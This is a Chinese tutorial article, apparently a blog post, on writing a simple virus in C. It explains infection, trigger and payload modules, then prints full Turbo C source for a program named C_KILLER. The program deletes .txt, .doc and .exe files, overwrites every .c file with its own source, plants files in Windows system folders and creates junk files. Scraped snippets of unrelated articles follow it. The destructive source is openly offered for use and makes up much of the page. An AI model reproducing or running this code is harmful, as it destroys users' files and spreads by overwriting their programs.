用C语言编写简单的病毒

[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.

[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.

一、什么是病毒   
    恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是非常重要的.
    我们要对付病毒,就要了解病毒.
    写一些病毒是一个非常好的办法.
    假设要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种可以通过改动自身来包含或释放自我拷贝而传染给其它程序的程序。“
     
      事实上病毒和普通程序并无太大不同,并且通常比較简单,不像非常多程序那样复杂。仅仅只是病毒里面用到一些正常程序一般不会用到的技术。
     要编制一个病毒,首先要知道病毒的执行机理。
     不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
     在病毒结构中,首要的并且唯一必需的部分是感染机制。病毒首先必须是可以生殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能马上发作,否则它不会被传播得非常远.潜伏的敌人永远要比能见到的敌人危急得多.病毒通常是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:

TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它能够是随意的给你发一条一次性简单的愚弄信息,又一次格式化你的磁盘,把它自己邮给你的E_mail通信者都能够成为有效的负荷。简单的有效负荷能够例如以下进行:

Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}

二、 编制病毒的语言
    最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们能够来看一看一个有名的病毒论坛上觉得学写病毒要掌握的基础:
        1).Win32编程,进程,线程,内存,等等。
        2).32位汇编,以指令使用方法为主。386汇编就比較够用了。
        3).PE格式,有精力还能够看一下其他可能被感染的文件的文件格式。
        4).调试技术。VC,TD32,SoftIce,等等。
    要掌握的东西确实非常多,还多听都没听过,非常吓人.但实际上,即使我们对计算机的原理和操作系统不非常了解,并且不熟悉除C
以外的其他语言,仅仅要我们对C的库函数有一定了解,就能够写一些相似病毒的东西.
三 用C编制病毒
    以TurboC2.0为例.它的库函数能够实现非常多功能.
    如以下两个函数:
    1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,能够得到文件名称文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
    2).remove函数:在stdio.h.仅仅要知道文件名称,能够删除随意类型的文件.
                
四 我写的C病毒   
         <<计算机病毒解密>>上有一句比較经典的话,"也许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
    以下是我写的病毒.
    它主要由四个模块组成.

RubbishMaker()可用来在当前文件夹下生成大量随机命名的垃圾文件.
    CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
    Remove()会删掉你的一些东西,所以千万不要随便执行这个程序.
    Breed()是C_KILLER的精华所在,它将kill全部的c程序,并利用它们生殖自身.

前三个是有效负载.
    第四个能够说是它的感染机制.

/**********************************

IN FACT,IT"S NOT A VIRYUS AT ALL.

**********************************/
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*
This function named Rubbishmaker.
*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = "://";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}

/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
}

/*
This function can creat some .exe or .com documents in the sensitive place.
Don‘t worry,It‘s only a joke.It will do no harm to your computer.
*/
void CreatEXE()
{
int i;
char *path;
char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};

for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER.C",s[i]);
}
}

/* remove something from your computer */
void Remove()
{
int done;
int i;
struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}

/* overlay the c programs */
void Breed()
{
int done;
struct ffblk ffblk;
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}

void main()
{
printf("THERE IS A VIRUS BY XIAOKE./n/n");
Breed();
Remove();
CreatEXE();

printf("COULD YOU TELL ME YOUR NAME?/n/n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
MakeRubbish();
getchar();
printf("IT‘S ONLY A JOKE! THANK YOU!/n/n");
clrscr();
system("cmd");
}

时间: 2024-10-05 13:28:57

用C语言编写简单的病毒的相关文章

利用易语言编写简单的目录扫描器

最近在参加小迪的培训,听到这目录扫描收获很大,把过程写下来做笔记. 一.先开发这个我们得首先知道目录扫描器的原理: 1.获取用户输入的url 2.把url和敏感目录关键字组合(比如:url:www.xxx.com 关键字:admin.asp 组合:www.xxx.com/admin.asp) 3.对组合的url进行发包 4.对返回包进行判断,对状态码200,403的进行输出(可自行定义) 二.代码实现部分: 1.界面设计:url输出框--------编辑框1        扫描键--------

Swift语言编写一个简单的条形码扫描APP

swift语言编写一个简单的条形码扫描APP 原文地址:appcoda 在处理职员在杂货店的收银台排了很长的队伍,在机场帮助检查背包和旅客,或者在主要的食品供应商,协助处理乏味的存货清单过程,条形码扫描是很简单的处理工具.实际上,他们已经用了这个办法来解决消费者在智能购物,图书分类,等其他目的.因此,让我们来制作一个iPhone版本的条形码扫描工具吧! 对我们来说幸运的是,苹果已经制作了条形码扫描的程序,实现它是一件很简单的事情.我们将要研究进入AV Foundation框架的世界,组建APP,

【原创】用第三方语言编写PostgreSQL 存储函数

在PostgreSQL里,所有的存储函数需求都可以用PLPGSQL来实现.同时也支持用第三方语言来编写,这个就得看自己哪个方面熟练了.不过要注意的一点是 PLPGSQL的效率怎么着都比其他第三方语言来的高效.比如,简单的插入表的存储函数: CREATE OR REPLACE FUNCTION ytt.insert_plpgsql(f_num integer) RETURNS void LANGUAGE plpgsql AS $ytt$ declare i int := 0; v_rank int

通过WebSocket实现实时通讯C#语言编写服务端

无意中发现js有webSocket对象于是百度了一下客户端代码与服务端代码没有现成的 有的就有一些简单了连接例子有的还不好使 于是就自己整理了一下 c#编写的服务端代码 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Net.Sockets; using System.Text.RegularExpression

用第三方语言编写PostgreSQL 存储函数

在PostgreSQL里,所有的存储函数需求都可以用PLPGSQL来实现.同时也支持用第三方语言来编写,这个就得看自己哪个方面熟练了.不过要注意的一点是 PLPGSQL的效率怎么着都比其他第三方语言来的高效.比如,简单的插入表的存储函数: CREATE OR REPLACE FUNCTION ytt.insert_plpgsql(f_num integer) RETURNS void LANGUAGE plpgsql AS $ytt$ declare i int := 0; v_rank int

二、Java语言的简单认识及Hello World示例

1. Java语言的简单认识 (1) Java有三个版本: a. JAVA SE (以前称J2SE):Standard Environment 标准版本: b. JAVA EE (以前称J2EE):Enterprise Environment 企业版: c. JAVA ME (以前称J2ME):Eicro Environment 微型版; (2) Java的安装目录 在前一讲中,提到安装目录中有两个文件夹,分别是jdk1.7.0_45和jre7.在"jdk1.7.0_45"文件夹的bi

c语言:简单飞机射击小游戏

c语言:简单飞机射击小游戏 使用c语言编写一个打飞机小游戏,使用键盘按键来进行游戏,操作方法是"a""d""w"或者"←""↑""→"来控制攻击.左.右,击中敌机可获得积分,被敌机撞中死亡一次,每次游戏有3次机会,机会用光则游戏结束,之后可选择是否重新开始游戏. 改进:增加了颜色函数,使得游戏看起来更加的舒适:增加了终止函数,使游戏在死亡三次后自动结束游戏,并且可以选择是否重新开始游戏:

Web2py是一个用Python语言编写的免费的开源Web框架

Zope 2是一款基于Python的Web应用框架,是所有Python Web应用程序.工具的鼻祖,是Python家族一个强有力的分支.Zope 2的"对象发布"系统非常适合面向对象开发方法,并且可以减轻开发者的学习曲线,还可以帮助你发现应用程序里一些不好的功能. Web2py是一个用Python语言编写的免费的开源Web框架,旨在敏捷快速的开发Web应用,具有快速.可扩展.安全以及可移植的数据库驱动的应用,遵循LGPLv3开源协议. Web2py提供一站式的解决方案,整个开发过程都可

悟空:用Go语言编写的全文搜索引擎

最近Go语言1.5版正式发布,国内关于Go语言的学习和应用也逐渐火热,InfoQ也将关注并推动国内Go语言社区的发展.悟空开源项目是用Go语言编写的全文搜索引擎,InfoQ记者采访了它的作者陈辉,了解了这个项目背后的一些信息. 悟空搜索引擎的特点是高度可定制,具有如下特性: 高效索引和搜索(1M条微博500M数据28秒索引完,1.65毫秒搜索响应时间,19K搜索QPS) 支持中文分词(使用作者自己研发的Go语言中文分词工具sego分词包并发分词,速度27MB/秒) 支持计算关键词在文本中的紧邻距